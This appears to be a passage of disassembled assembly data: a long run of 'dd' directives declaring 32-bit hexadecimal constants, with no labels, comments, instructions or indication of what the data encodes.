		dd 0E55E854Dh, 80EA5A99h, 0E9716452h, 0C6848E4Ah, 48FC7AAh
		dd 0F2BC84F0h, 0D4E9B14Eh, 4721092Fh, 28A0E884h, 0D2F72D5Fh
		dd 0C1042754h, 81AF06E2h, 0B56A2EBCh, 0E010E2Ch, 7AC81675h
		dd 0E09D886Eh, 0DD48B390h, 7873D04h, 0D6017224h, 979410B4h
		dd 0BE54DCFAh, 0F0358D18h, 2817CEE6h, 0E4EC801Ah, 0EB83801Ch
		dd 7E386C3h, 7E0CCA53h,	0AFA409D7h, 0C189657Dh,	74F79BE9h
		dd 0DD8AF166h, 0DC9D6EC3h, 3D412B11h, 0A9DB7520h, 303FB893h
		dd 4447AA0Ch, 630D7000h, 25056276h, 47C0045h, 79C03506h
		dd 0E925089Eh, 57230927h, 4A542D34h, 7AB52DBDh,	60B99045h
		dd 0C5F3379Fh, 6AF5C486h, 271DDF61h, 9C66312Bh,	2E3FF939h
		dd 0AFD71BCEh, 0C1EEF50Fh, 5FFA31DEh, 7E9AB56Ah, 41668E88h
		dd 45B430C5h, 59788597h, 98FA3075h, 2609D22h, 0DE13F277h
		dd 3130027Bh, 0CA685AD0h, 8BBD5175h, 0B6F703BFh, 5E912EEh
		dd 0DF89FFB6h, 44ED6061h, 7D684324h, 0BB29A852h, 0EE651391h
		dd 13730001h, 8111A150h, 1672E13Bh, 3EE6F2Dh, 690B2256h
		dd 2BCF35A9h, 0F3878847h, 4E65CE3h, 0D47C065Bh,	6FBA87Bh
		dd 620A7E83h, 8759A02Ah, 19C925FDh, 4E592B5Fh, 92E91251h
		dd 6C67EA5Fh, 7DD465A4h, 0BA52E960h, 2E810288h,	4C51E98Ch
		dd 0A0F81C77h, 13B48B8h, 0FBB398Bh, 7A76E963h, 0D33B8FACh
		dd 3DED0D98h, 7712E8F7h, 0D0FA3D6Bh, 82D7E9C9h,	0B4349B7h
		dd 0BB6E7370h, 2FB82443h, 0DDE489F5h, 296279D1h, 5419A21Ah
		dd 1AC67F5Bh, 0C2C2749Fh, 0D1D5FB01h, 0E9DFC9D3h, 0F7CA45F6h
		dd 8E40F9A2h, 69C35D07h, 0BB0C02FCh, 3E9237EEh,	6AFACA60h
		dd 0C51AD328h, 0DC9E4B50h, 602F1870h, 0F55F704Ah, 0D2D52Fh
		dd 7B808B53h, 0D3793140h, 0CB84F0B7h, 0B7B02CFEh, 0CB8E1A0h
		dd 448B22BDh, 0E055092Dh, 3112D159h, 22820FC9h,	0E941F028h
		dd 74730C27h, 0A4845059h, 69DC1283h, 8265E898h,	7F946DE6h
		dd 27075128h, 494F94FDh, 65968421h, 59EB826Eh, 0A0CCC6DFh
		dd 2479C376h, 0E700911h, 590C6AF8h, 0E7CC70Ch, 0C3ADB04Ah
		dd 368EBD02h, 0EDC64F3h, 6607ED0Eh, 99202E5h, 0D924CA6h
		dd 40AB4304h, 842F90C2h, 750CC10Ah, 0F0278262h,	591F11CAh
		dd 0E2012530h, 36233C87h, 76FFC260h, 1CA3A037h,	4FD1B947h
		dd 0B1F0DD6Bh, 0EF805A01h, 0C5B4502Dh, 0B568FBF0h, 0F213FAFBh
		dd 0D5B34147h, 5755FC72h, 444AA2CCh, 0F957FBC3h, 0B381A660h
		dd 0D5619DF7h, 1A48EC37h, 2CBA6DD2h, 25FC980h, 0EDC08FACh
		dd 634B3A14h, 0A4ABFh, 0AE95F08h, 34149566h, 9FD29C20h
		dd 0B5DD8E2h, 0E2E5F5A2h, 46B9B802h, 0F4DB4082h, 0C74BCF76h
		dd 0FAABC8E3h, 0E750CBDAh, 0B653F895h, 0C5788BB9h, 8AF2BA7Dh
		dd 32EE3A4Bh, 0A85BFCF8h, 5AE9AC9Bh, 0BD3B00A3h, 6D4B2CD7h
		dd 0F0DFCC1h, 837F27C3h, 141F4D6Eh, 55D664FEh, 0BBC816BEh
		dd 0BE40BD8Dh, 902E5EAAh, 0DBCA0436h, 0AF187E0Fh, 45C37E00h
		dd 5A68610Bh, 532FB74h,	0BEB268C1h, 86290F9Bh, 30644E6Fh
		dd 7E8CFBB8h, 40421667h, 95990114h, 20377C10h, 3E13DB69h
		dd 0EB020B03h, 80D71A6Bh, 1024C1BAh, 80274F79h,	39A07EA8h
		dd 1C15819Fh, 8C214A93h, 842BAB2Bh, 91C82116h, 52E7DEC0h
		dd 0B482E8EFh, 5307BA9Dh, 0D7CE82E2h, 4F295FC6h, 12BCC2AFh
		dd 0BEACA23Ah, 18397684h, 94F37F2Dh, 59618860h,	6EE66804h
		dd 4CEE3FB4h, 2D0149E7h, 12E15D27h, 12BE2B05h, 192DD9h
		dd 0C062C9B9h, 1FC5615Bh, 4B766583h, 59EBE681h,	0AC681214h
		dd 0AA6E91A4h, 41C175C9h, 1E293052h, 54E75010h,	803B0641h
		dd 87F22996h, 0FD49D66Fh, 30ABEF92h, 0C37CFBA2h, 664E1027h
		dd 9F24BCF8h, 0F11F89EEh, 4E73E00Eh, 0CB0B5B74h, 69DF4777h
		dd 0C44B7D54h, 0D6BA1E62h, 0D53109D1h, 0C2B346F5h, 0B7E9E814h
		dd 0F5556275h, 0A88069BEh, 0F3480A5Fh, 40B311FDh, 0E7FCC527h
		dd 0AA685982h, 0D1A1A362h, 0ED232D03h, 5E97E5DEh, 9B5171C1h
		dd 5CD8383Ah, 4888642Ch, 0F7DE600Ah, 0B1E59825h, 30C9F49Ah
		dd 0D905D1F6h, 3726F180h, 5827E708h, 887EF54Eh,	810256A9h
		dd 0FB31CDA6h, 3E5C575Fh, 0AF55C101h, 3830BE78h, 12750453h
		dd 0C1CF0116h, 7F0B36B2h, 5325D9B6h, 0AD17F55Ch, 5A8EB71Dh
		dd 0A06882F6h, 79AC64Eh, 0E98BB652h, 0D9227B67h, 7A57F101h
		dd 8D7AA1C2h, 0B171F5EAh
		dd 5EDDE7C3h, 6F72BCF2h, 0C2C569F9h, 681701DBh,	0B2521D45h
		dd 273A7617h, 0E9F85AF6h, 0E2255A8Bh, 0CAA175Bh, 4E686D9Ch
		dd 1799A3C3h, 54C449E9h, 705A401h, 0F86F1A3Dh, 0E9127C3Fh
		dd 778A157Fh, 4BF73B17h, 0E5F51C1Ch, 0B7A2524h,	0BD257530h
		dd 3B55F1C1h, 0B75771Fh, 5F7F5311h, 5A5DEB29h, 16E909F2h
		dd 51621B98h, 17EA3C5Fh, 0B29A2EE9h, 0E1CC698Eh, 0F87EBEA8h
		dd 0D23125C8h, 85904AF1h, 3E8BAE5Ch, 8CA9618Bh,	3353EC83h
		dd 0F7582EE0h, 81C1D23Ch, 39685503h, 7ADBB0C0h,	0CEE91866h
		dd 0E4EBEDB8h, 49AB2016h, 0E0048F0Dh, 0DC09007h, 97053374h
		dd 0EF831B40h, 58875495h, 129AC6E9h, 269B979Fh,	688880B5h
		dd 7F054A81h, 3DB1171Ah, 0FADCC474h, 5E8B9C3h, 0FBFB0BE9h
		dd 512913F6h, 0F6C6498Fh, 94DC144Fh, 81A19CAAh,	0DD40FDEAh
		dd 8B172F46h, 84D300E2h, 96ECAAFFh, 4F54BA1h, 0F3C6C2EBh
		dd 0F1F70D0h, 54D2C8B7h, 0DB0B95B1h, 0AD85257Eh, 865058FCh
		dd 71679DB1h, 6EEF173Fh, 68FB28ABh, 0B072A527h,	4EAEE91Dh
		dd 4A0FF75Ch, 8FAB9984h, 0E92563AFh, 0AFC54EB6h, 5B12E6CFh
		dd 850EA75Dh, 0CCAB1AF6h, 2541B9E9h, 5D47BF2Ah,	592233F1h
		dd 3FF48631h, 0A5755A0Eh, 0B080539h, 0E7105026h, 56E8310Bh
		dd 9E616C9h, 0DBEF8472h, 7DC57792h, 0C4F61EBh, 0E90A6DB9h
		dd 61A9A786h, 891B3468h, 0E81D65A7h, 12D4C76Fh,	0BBD52A78h
		dd 5745A405h, 0BA6457BFh, 1CC23B34h, 59B90089h,	647A71E7h
		dd 0EB93F7Dh, 0B6C0E816h, 3807B551h, 0EA2ECCB2h, 0B4500A29h
		dd 0AEE21392h, 9EACB204h, 0C3D3F704h, 0E032281h, 0ED80DCB5h
		dd 0F64C2D5Fh, 0F3C2FF5Bh, 0CCF1F7DDh, 0D325273Ah, 5C592DE7h
		dd 190213ACh, 0A07EED75h, 5A29C1C4h, 0B70E797h,	266382FDh
		dd 0B639AC1Fh, 28043092h, 0BF120D22h, 0DFE3234Bh, 81EE998h
		dd 0FEC33180h, 937BECFh, 0C05F4E5Dh, 5558F31h, 266878E1h
		dd 8451521Ah, 0BC6AC3FCh, 0B1F2EB03h, 0B070FE18h, 50903DC2h
		dd 5B02C924h, 0DE73E85Dh, 22D92E9Ch, 0A2E8E532h, 1D681560h
		dd 8E108D65h, 1A5B3BFBh, 1DBA509h, 0EB2868CBh, 0A004FC7Ah
		dd 0C051C380h, 38E99806h, 0F94FEFDh, 6B95BB44h,	0BAD719B3h
		dd 0C8237B89h, 7DD23B1Ah, 0D79725E8h, 2D77909Fh, 0A257D40h
		dd 5D80108h, 0F2E90E07h, 3547DCF3h, 1E94DC6Bh, 71E92886h
		dd 35E55C10h, 56008520h, 76C0F5BEh, 50F03184h, 9258D55Eh
		dd 0FBB8273Dh, 0D75EF0CCh, 0C230C544h, 71C5BE00h, 489D457Fh
		dd 21253B88h, 8B0250D5h, 812FCA4Bh, 0BC691908h,	993A29F1h
		dd 100C06B4h, 2C201C85h, 0F0696AB6h, 1FF10006h,	814B14C8h
		dd 2B05B3E3h, 18E921BEh, 678488D5h, 72018BCh, 504B50B5h
		dd 0FEAAD251h, 26497F06h, 8BD2715Bh, 6DA5C8AFh,	68C9D0B3h
		dd 0FBC537C1h, 6CD00780h, 5BC3F581h, 0CFEC5D3Ah, 0FE961504h
		dd 0B02BF599h, 767E54D5h, 719D87BDh, 9BA44ECh, 2E411352h
		dd 7076A37Dh, 0DD731C76h, 0C773532Bh, 1CF0D031h, 2EA68993h
		dd 2962ABF8h, 0FC46CC33h, 0D91B62CAh, 23EE8268h, 0EE096F31h
		dd 803A5EF5h, 9BE95766h, 0BC5DE64Eh, 593E1DD0h,	0D6D09225h
		dd 0BC9DC49Ah, 986C95D9h, 0A40D4Dh, 0EEC0C6FEh,	547F6802h
		dd 58219F5Eh, 0AD22330h, 450818C3h, 4653D2A2h, 6940F60h
		dd 122EF13Eh, 70EB70A4h, 26F9C538h, 0D6786B37h,	810ED85h
		dd 0F80B5AD3h, 6EBC5F5Bh, 4ABA6813h, 0A37467AAh, 0B11B4D69h
		dd 0E87932F7h, 0B0412E65h, 6E592EEh, 834FE4BBh,	0EA766464h
		dd 7461D525h, 39958394h, 1C130893h, 990F2D47h, 66AD49E9h
		dd 0D3703B1h, 0CE811241h, 26B91BF0h, 16D2FAC1h,	1F6A4F2Eh
		dd 6C6A84ECh, 1FF58242h, 0BE2DB9DEh, 0D728130Ch, 0F90D125Ah
		dd 0D3FF28CDh, 0CD7C4590h, 0C6FEA930h, 0C0CA295Bh, 974E6E42h
		dd 48B75933h, 802FC05Bh, 0F9F5B5Eh, 258345C9h, 779C3A64h
		dd 3E1481EAh, 942080D9h, 496DB9D6h, 0A74E5B57h,	5A633651h
		dd 0F8EE8421h, 6053B8C8h, 0F3806851h, 0E37FC03Dh, 6A4CDE98h
		dd 0E2707696h, 6866D804h, 0C0CC2B6Dh, 25D28A27h, 0A58CAA27h
		dd 7EB80911h, 0BF0E84Fh, 56313FA7h, 0A6043F1Ah,	0BEDD7116h
		dd 3D440AC7h, 4AA48117h, 9302D081h, 0FAF2ED30h,	4AAE7339h
		dd 0EF5AA072h, 0E3E908A0h, 28BE8C4Ah, 0C58034ACh, 90599D2Eh
		dd 0F191E961h, 0A506FC6Bh, 7B9F53A8h, 44775D13h, 0AE5BDF7Fh
		dd 122DEEB3h, 2AEF2C69h, 0EFA113BAh, 0CB9C3821h, 59E80007h
		dd 4258D2Ch, 3A4E7C65h,	0B8311E4Eh, 0D530D027h,	186950E9h
		dd 0F202D8D3h, 0BC594F82h, 0B3ABD31Fh, 0F029C097h, 0BD7E6BE9h
		dd 5D4BC07Ch, 7E77D162h, 3A5C598Fh, 0B22A52CDh,	0C50508Ah
		dd 4DA82A02h, 0A9C520E9h, 83F3042Ah, 1BD5A549h,	1E95EFBEh
		dd 8F94BEFh, 94750A42h,	0AFCD5EE8h, 5C2BBF49h, 0F95A12F8h
		dd 0A99389B4h, 0D1BE77F9h, 0E5E693F9h, 2BB698Ch, 7C9372C4h
		dd 2E60DBF7h, 0C31226C5h, 0D5BA8976h, 81E7E21Eh, 0C9DAE955h
		dd 0C068D42Ah, 5A0EEDD2h, 127CE03Fh, 65BA9E16h,	2D2163B2h
		dd 3DD352B8h, 0FD87E09Fh, 44EAB611h, 8438EB56h,	965125E9h
		dd 91CB7B48h, 99BB063Dh, 0EF17D879h, 0ED82F56Ah, 51637CFCh
		dd 0CBA02F24h, 34E85E28h, 0E9E04392h, 2A34F967h, 0CEC17EF6h
		dd 0B545D5ACh, 0D2A320ACh, 0C5BD018Ch, 806FAE19h, 51E63F26h
		dd 0AAE8AC4Eh, 0E91B034Fh, 990BFB22h, 919E7CAh,	39527D48h
		dd 7812FAE6h, 95FB2337h, 9180EE88h, 4C2229CDh, 0A602602Dh
		dd 31169804h, 3DEF47DDh, 89B86880h, 7A4CE986h, 3AEB70D7h
		dd 7CEC5FB9h, 7FC98CB5h, 47F36E4Bh, 25FAC417h, 0EB0009F4h
		dd 5C89C67Eh, 52462305h, 0EDF51FDEh, 51264BF6h,	5FC409AFh
		dd 2E3D9809h, 0FD144C39h, 4AF9A932h, 0CEEB5558h, 3C5FBBD4h
		dd 55DDB7CCh, 1BCD2CC1h, 0C022307Fh, 4475286Fh,	228204E8h
		dd 558408BCh, 0B4F65C4Eh, 7DFD0A4Fh, 0C875A5DCh, 0D3D4B234h
		dd 0A8AEA84h, 6809A847h, 8ED135F1h, 12E381BCh, 40583711h
		dd 7C8B0930h, 0E95E1C7Bh, 6804A0A3h, 40A96502h,	1EF32DC1h
		dd 0DA890F89h, 187CE65Dh, 3497EEE9h, 0F6EF685Ch, 60B9C398h
		dd 40AA6A5Ch, 132E5087h, 0A812EEB4h, 0CAEB5953h, 28777FEBh
		dd 0D90C50D8h, 0EAE5BF1Dh, 0D45B208h, 60125DBDh, 0D298C31Bh
		dd 55396025h, 809D842h,	85C5460Ah, 0C590B753h, 6A99A1EFh
		dd 0FFD0A9F3h, 0EE2EB44Ah, 0D1015D39h, 13EE2BAAh, 0A294BC12h
		dd 0C5FD8457h, 3B3C23CDh, 5CD1F71Fh, 1EE769E5h,	68D31C40h
		dd 90D2FE80h, 0E9382AEh, 0A9E2C0C9h, 0BD2A464Ch, 793B1058h
		dd 0D731850Eh, 0D6F0BCE9h, 261FF02Dh, 14480858h, 59270705h
		dd 0E913386Eh, 0A88ADC8h, 0FED916B2h, 848816C2h, 29BCFA0Dh
		dd 0B81E679h, 0E251FBF1h, 6BE26AAEh, 0F85F7EEBh, 590881E5h
		dd 50246A76h, 0FEF4096Eh, 6879B0DCh, 0C81175C5h, 0AC2A87ECh
		dd 0B0E05166h, 2463425h, 12C5B0Ch, 0A37584E9h, 0E928CFD8h
		dd 1770614Dh, 7914264Eh, 89EF0261h, 61C03727h, 0AA8332BEh
		dd 2DAAA529h, 4130E1BEh, 29142420h, 0DAEF027Fh,	0C173F568h
		dd 0CC2AD4C8h, 8497D303h, 25804BC9h, 0C1CA631h,	0A77BE948h
		dd 110AEF8Fh, 8E30C47Ah, 4C82D725h, 3AD0A7E9h, 591EBA0Eh
		dd 5242073Ah, 9FCC4FCEh, 66CF6C6Ch, 62163140h, 642C245Dh
		dd 0FE895601h, 90F1F130h, 8CCB5E4Fh, 29418CA7h,	55796320h
		dd 5B78E888h, 5B5AD001h
		dd 57263568h, 220CA6B1h, 3DE1C02Eh, 659E110Ch, 0F3F4BD68h
		dd 9A58973Dh, 0C5F274EAh, 4D3BECF3h, 2AEF4EA1h,	0F3444FFAh
		dd 192E332h, 85D9D5C4h,	6842216Bh, 0CC7F67A0h, 0DC9F2F2Ch
		dd 49FFA54Bh, 0A2D859E1h, 0A8ADAB70h, 5363878h,	67F6EFBBh
		dd 18D30076h, 290A903Ah, 8203496h, 0AB9AE918h, 121ABEF5h
		dd 136853Bh, 0F7F2144Eh, 0F7C07FCCh, 9E43F534h,	772C8FF3h
		dd 589A896h, 274F229Eh,	144F682h, 7E538E68h, 5A340898h
		dd 8C658CC3h, 8B3E99B6h, 0DEFED1E3h, 43E97820h,	0E121DE63h
		dd 7EF2C256h, 9E68608Ch, 6E7DFC44h, 0D340705Fh,	0D83C07F3h
		dd 0DD090952h, 4F1A455Bh, 1A869702h, 669AD7Ch, 14BD8E3Bh
		dd 8D3E3578h, 7B61A10h,	4F72D5Dh, 0C689BDE1h, 6115A67Fh
		dd 49150110h, 2CFFE6D8h, 163900Ch, 5EBCE4EEh, 97B68894h
		dd 0A98A32CEh, 28BDAFC8h, 2B8C7113h, 0D4B524EBh, 0A60C1221h
		dd 954E2AF2h, 4D8B5F97h, 90A0B47Fh, 3B93410Dh, 42D74C03h
		dd 759DDA5Ah, 0EB79C70Bh, 3CF76861h, 42253F88h,	4E916414h
		dd 54975BC1h, 89A883Eh,	0E6058DD2h, 0E3AA8A53h,	7B29168Dh
		dd 0EBD012BCh, 73BA5203h, 4AF91D5Ah, 0BFE0C742h, 0CD5C7D0Fh
		dd 0F7ED1695h, 4876BED0h, 58742D6Bh, 7312A9FAh,	0C704B203h
		dd 116DEEAh, 0D658BBA2h, 5A1CC42Dh, 0AF62E328h,	38F4814Bh
		dd 20245B1h, 33545691h,	21829497h, 927B404Fh, 0DB362730h
		dd 96DCD950h, 19064384h, 7346FCBEh, 200A0551h, 8440E695h
		dd 0AE043C58h, 0EE095D27h, 492BB561h, 58FE8EBDh, 105ACC44h
		dd 2D0ED3C2h, 0AA2DF889h, 531D28D2h, 540E05DAh,	4089E661h
		dd 8DEA48C3h, 0CA0A0C0Ah, 0EB150E2Fh, 312FE77Fh, 0C23EFCD1h
		dd 0C4DD9B90h, 4BE2E63Fh, 77D0BB08h, 9535130h, 1CFAE93Fh
		dd 0EC3822A5h, 0EB2D8E3Ch, 94E8FCFDh, 881308C2h, 0A8A8143Ah
		dd 0B80EDD12h, 915C8A0Eh, 0A14FCB10h, 30FA3B1Fh, 0F36A99B7h
		dd 0D7E91C0Ch, 0B0CF270Dh, 409B2D8Eh, 89EAEEC8h, 5FE0B225h
		dd 0D67750C2h, 0FC9962A8h, 0F02B2757h, 0DD32C5F2h, 0A2782981h
		dd 7A7C7009h, 4B915F82h, 37173E14h, 9FB1F34h, 0D369FE43h
		dd 0D4137FFAh, 10F61A50h, 0F84ABFBEh, 2C317203h, 0EEA9F487h
		dd 5F826134h, 7A9A8DCFh, 12AD4BB1h, 2DBF8DE9h, 7769F0h
		dd 41BCE7A2h, 59FCCBF7h, 0E9E15071h, 818E3F3Ch,	80659FB9h
		dd 9942E825h, 0AE05D47Eh, 0C4BBFB17h, 952DAABBh, 0B3BCE87Ah
		dd 0FCA44AD2h, 48C96B5Bh, 2763799Eh, 0B25D17BCh, 5A0C04B3h
		dd 0C910F7E2h, 2A5D3B07h, 585EEBA3h, 0EC4DC9B7h, 48C7C410h
		dd 178D0792h, 47B5DA9Ch, 685A6790h, 0CC734F56h,	185E4971h
		dd 7E6265CFh, 51076B2Eh, 0F3525665h, 0F945E4BEh, 3AB4341Fh
		dd 0FED6B585h, 107E65C9h, 873F8689h, 0FFF83518h, 14187EF6h
		dd 67A26FC7h, 0ACBC2C36h, 0B96A185Ah, 2F2490CDh, 6012F816h
		dd 0BC3FEA4h, 44F76615h, 0CC921678h, 5B74509Dh,	56446175h
		dd 7F1CF158h, 0ECBBB2C4h, 4F80E49Bh, 52C87EE4h,	8A0ECB1Eh
		dd 0E9961738h, 130CD039h, 4756A4E9h, 1773F4E9h,	5226327h
		dd 0A40164E6h, 96B71417h, 98683E8Ch, 4BE7304Bh,	734B7D1Fh
		dd 6380C9ADh, 4222B462h, 3D80E937h, 0B9D5E143h,	0C1E8EBC9h
		dd 0CB28039Eh, 4CB55159h, 0FC20C5F9h, 0CC248F5h, 55CDFEC8h
		dd 242307Ch, 0B0EE6874h, 6B0413F0h, 5E75B688h, 3351ABAh
		dd 0E744C1F0h, 0E0FCCB59h, 5776BAF5h, 0E6354701h, 17343AFEh
		dd 0AF37D012h, 0A5EC5B79h, 9895ECFDh, 0F9924BA0h, 93B492DDh
		dd 311FBA5Fh, 262D6AF1h, 2FBE006Dh, 65AC013Eh, 790914B9h
		dd 5F2E7CCEh, 859D67AFh, 0BC78C5F7h, 0C8281B38h, 0D86CD11Fh
		dd 0FC213D3Ah, 0FCFFEB15h, 0E5B78F5Dh, 0CD328DC8h, 96E83AFAh
		dd 9EB3EBA4h, 689ED192h, 4FED3E28h, 53AAD29Eh, 0BB0A24E1h
		dd 12B41E50h, 0A8E3150Ch, 4B2F9144h, 2FCAA377h,	954B4448h
		dd 1E0B35E0h, 56727512h, 0C33EE90Bh, 0CF5E1E34h, 0F168D3BEh
		dd 94E87BE1h, 52B4AFB5h, 90B65F13h, 1E581EAh, 9A685831h
		dd 6B07CAB4h, 4440CD21h, 0C8E9CBD2h, 296E9DFBh,	295967Bh
		dd 0D7478591h, 327A622h, 77D112DFh, 7780AD74h, 2D47AA10h
		dd 0BE0BD373h, 8ABFBE16h, 3FBE1334h, 0FA6FA10Ch, 1237B807h
		dd 0FE4A7F2Bh, 80181186h, 95347591h, 0A40C9445h, 9CD17F1h
		dd 2DEB06EFh, 701A89DDh, 903C201Ah, 0FB5CF6E1h,	0C0CCAB58h
		dd 46D5B8D0h, 527B36BDh, 6DD0CB4Fh, 2E017CC6h, 85D80F13h
		dd 0C031B174h, 63337514h, 0D6505E7Fh, 0CCBC36D1h, 3DBA8F13h
		dd 0E91884C4h, 8CFF0CCAh, 9C0168AEh, 594BAA4Eh,	0B16EC183h
		dd 0D88930AEh, 73E4D17h, 487FB1F7h, 544BDEE7h, 0DD2AAECDh
		dd 4C09A2D8h, 0C552BD10h, 343D6B09h, 7A20002Dh,	0B971E51Ah
		dd 0F66C09FFh, 0EE88C559h, 53500EAh, 89EDDA58h,	0F201E0A1h
		dd 0A4C29B54h, 0A620C98h, 6D693BB8h, 8FE08AEh, 246ABB21h
		dd 4C827A13h, 9C5A5531h, 497B8FF6h, 92C179F9h, 4BE26404h
		dd 18D6B800h, 0C8A01062h, 8B275CE8h, 17825527h,	58541337h
		dd 0FE0AC152h, 0F685C00h, 75F3745Bh, 5AA4BF02h,	85FD0587h
		dd 95854160h, 0A3C06E1Ch, 0E97B5E78h, 9DFEF440h, 0B0FB3CDDh
		dd 899B52C4h, 0A64B1376h, 7683BF92h, 0D0CA16CFh, 61CE21F8h
		dd 0BFD7824Fh, 0D5D77462h, 0CE292760h, 0F24E5925h, 0AD030248h
		dd 0FFE97DB8h, 90F8834Ah, 175ECB3Fh, 12EF7258h,	0F64D2073h
		dd 45B7370h, 0C4A00085h, 1D275AE9h, 0CAB14C7Dh,	0D658F6CEh
		dd 0C07D0519h, 468207E5h, 4A0F4C8h, 0CDE49BE9h,	0D2588552h
		dd 0B3AFB760h, 0EB59665h, 53551300h, 8E70B68h, 0AADE0D8Fh
		dd 511AC341h, 90891BD0h, 1F6C20D2h, 470BC5FAh, 0D8E743C0h
		dd 7D4526AEh, 94DE9C5Eh, 0AF04D7F3h, 0F8BB22A2h, 7F5292EAh
		dd 4F8DDBAEh, 1F7F38A6h, 841F910Dh, 0A839E9E8h,	0F7800E36h
		dd 0D2E763AFh, 0BB879C0h, 0FA2869EFh, 6F4F6D82h, 7C6768D4h
		dd 0C3F4FEA5h, 40379854h, 0FD952D14h, 80598E84h, 6A64054Eh
		dd 9A6E0424h, 57FED809h, 5007916h, 1B3E4178h, 0A32DD829h
		dd 0EE4A807h, 7B536207h, 7BDF555Bh, 4BEF62BAh, 57E39F7h
		dd 253B83Bh, 0A1E9F001h, 0E3C67758h, 159BFA1h, 7561DBF6h
		dd 925FB468h, 97D09B7Dh, 2E0C017h, 301E304h, 736E6802h
		dd 575AAB54h, 81E20CFEh, 69D60044h, 12E3E90h, 0CC8DB4Ch
		dd 0D446E904h, 18CDCFFEh, 277B1048h, 0C1F3A609h, 0F80325F0h
		dd 57C06E05h, 4A7B1EC8h, 6BF84Fh, 3502E8C1h, 75F939B9h
		dd 99A93862h, 38FE0FA7h, 0DEBD550Bh, 0CC54AFA6h, 6938F925h
		dd 2ADC3457h, 249AC905h, 5B915DEBh, 0E17DC9B7h,	0DA4057E3h
		dd 4EC82C6Ch, 3503AB34h, 0F032EF81h, 0EDD11B25h, 7D7C57Ah
		dd 0C37AD9BEh, 0AC92E9EAh, 0DFA79AD5h, 0FBC8B045h, 4C656804h
		dd 16D66FBCh, 5FE2B744h, 0D620728Dh, 0EF8B635h,	0DAE6EF30h
		dd 58131A13h, 0F4F3FC88h, 0E8E75E78h, 26F3B184h, 41543A48h
		dd 398A2AF8h, 80D12E7Eh, 5D88BA5h, 0BA513F6h, 0D0B5541Eh
		dd 484E0AE9h, 0CF101CA6h, 0E32C7E0Fh, 0F751CDE1h, 0E5F57120h
		dd 4BA4D54h, 10C823F9h,	1EEF4FC5h, 18DECF71h, 2B93156h
		dd 4F1172AFh, 0B5A48FD6h, 0F7522D56h, 0D07E2783h, 7C59A325h
		dd 0D7789D7Dh, 0B207E850h, 1C18F585h, 8990AEB5h, 0AB4BF94Fh
		dd 81B656BAh, 0A66FA2E6h, 880C853Fh, 0E3F06A6Ch, 7C667877h
		dd 58F6060Dh, 1807312Dh
		dd 3B68FE05h, 830A012Bh, 4A9DB953h, 62D0108Ch, 0C39D3F61h
		dd 0BEC77873h, 3DD6A665h, 0BD668C16h, 0C635E1C4h, 2C78300h
		dd 18629793h, 2C48F113h, 64D1A7A4h, 0E9210460h,	0E8C14A50h
		dd 0A7B8E051h, 17D0261Fh, 7A1D0700h, 0EE83537Bh, 41F0E24Ah
		dd 0EB7318E5h, 31A20C55h, 896B6913h, 8305E2ADh,	0BF604C40h
		dd 80152E1h, 8E285158h,	8439FC4Bh, 8213B2BBh, 3E414F54h
		dd 0EE5F0282h, 0F4612F8Fh, 8BC2F0FCh, 0FA300244h, 0BC5B235Dh
		dd 0E1D90256h, 13547664h, 695DDB5Dh, 0F94D6875h, 3BB02D23h
		dd 42DC7212h, 13392088h, 9B89BB5Ah, 5FF92247h, 0E49526C4h
		dd 6AE59D53h, 0ECDC5509h, 0CE0E34E4h, 0E8D5A5FDh, 26D6EB6Dh
		dd 6B38B8F8h, 0A3F2CF63h, 28991CE1h, 0FB01394Bh, 34717095h
		dd 0AE0C441Dh, 2217AAFDh, 1644FD65h, 0AFA294AFh, 41094835h
		dd 0E161BD6Ah, 0F68D7402h, 0B93B9309h, 21B3FEA4h, 0DFDE2590h
		dd 9EC9D7F2h, 11236215h, 1C224B1Fh, 0C50C7B0Fh,	1BEDC451h
		dd 588831EFh, 0F5BE3C13h, 975689E0h, 0E9621D73h, 0EC2ABF6h
		dd 0BF4EE5BFh, 1916D688h, 0DE5AAB0Fh, 0FA803F46h, 0B54F0E7h
		dd 4B17E9A5h, 6308BCE5h, 0D72F59h, 574B2913h, 31CE7E21h
		dd 0F5E3D793h, 72D82B59h, 25272BFh, 27C1BD28h, 0AC604951h
		dd 2C2A15ADh, 0A626E766h, 0B689E20Ch, 0D01AF45Fh, 6860D02h
		dd 2F07DCBFh, 2E006804h, 3530B931h, 12E03DB6h, 0CDC70120h
		dd 49B89D52h, 0F71C06C2h, 0ED8580D9h, 9E073305h, 0E1C10F0Dh
		dd 0B3AA00F3h, 210E6E03h, 0A11C8F9Dh, 0FBB12352h, 3CE6867Eh
		dd 0AEF0200Bh, 0E960C10Eh, 0A72ADDFDh, 0C407327h, 0B9034F5Ch
		dd 6C0896C5h, 5EB8E06h,	0BE4F10AFh, 0FD281498h,	56C5800Bh
		dd 27E1966h, 15352DCh, 0FE8863B7h, 79F5205Bh, 0DDF68758h
		dd 0C161249Ch, 1BE98C42h, 64303EE0h, 7D362AC8h,	0C54F30h
		dd 0C6C98162h, 145F5870h, 71B0F2ECh, 0CA5BE649h, 0C39F0BBEh
		dd 0C1A3E35Fh, 0ED2763ACh, 0FAF3267Ah, 0EBE79241h, 47381EF3h
		dd 0C99D50D8h, 22791133h, 0B7C712Dh, 18D9C6A8h,	3602152Ch
		dd 40163C1Eh, 142C4F1Fh, 0EA4D1D48h, 0B0774002h, 0AE5F215Ah
		dd 834CDE30h, 17A20C63h, 0E1AEFCCAh, 0C12732A5h, 0B1D9E95Ch
		dd 0AFB4746Eh, 1BF03B0h, 3AD7060Ch, 53C3FAE9h, 0EBD69FD9h
		dd 5BC69B5Ch, 24680F98h, 0CEE70C3Dh, 93F78EEDh,	9AFC081Ch
		dd 922C0B82h, 0A5F843DDh, 118F8B16h, 431DE909h,	0D0200D66h
		dd 772C16DEh, 603E1368h, 0ED803FE6h, 2807E362h,	0D8CE40E8h
		dd 5A3D5DE9h, 0AEEA0112h, 0B4923CE3h, 9972907h,	392E009Ch
		dd 5F70642Dh, 4993A021h, 53FDFDAAh, 78E9412Dh, 95407B21h
		dd 0A468D7DFh, 0DE318029h, 8B2666A0h, 5D6526DFh, 5B891FB2h
		dd 49D3735Dh, 49C20E74h, 8862F145h, 0E9054DACh,	86A35530h
		dd 0FB843C12h, 9B12A3DFh, 6F5D9D3Dh, 585EEB40h,	2E3F6635h
		dd 0ADCC5282h, 0E948A17Fh, 3955D93Eh, 6BF24153h, 2CC80F85h
		dd 41B451F7h, 54ED4C2h,	0D291E85Fh, 93D1F7BEh, 3F0928BDh
		dd 0E457FEC8h, 0E897308Eh, 7EFC050h, 800806C0h,	3B5038C7h
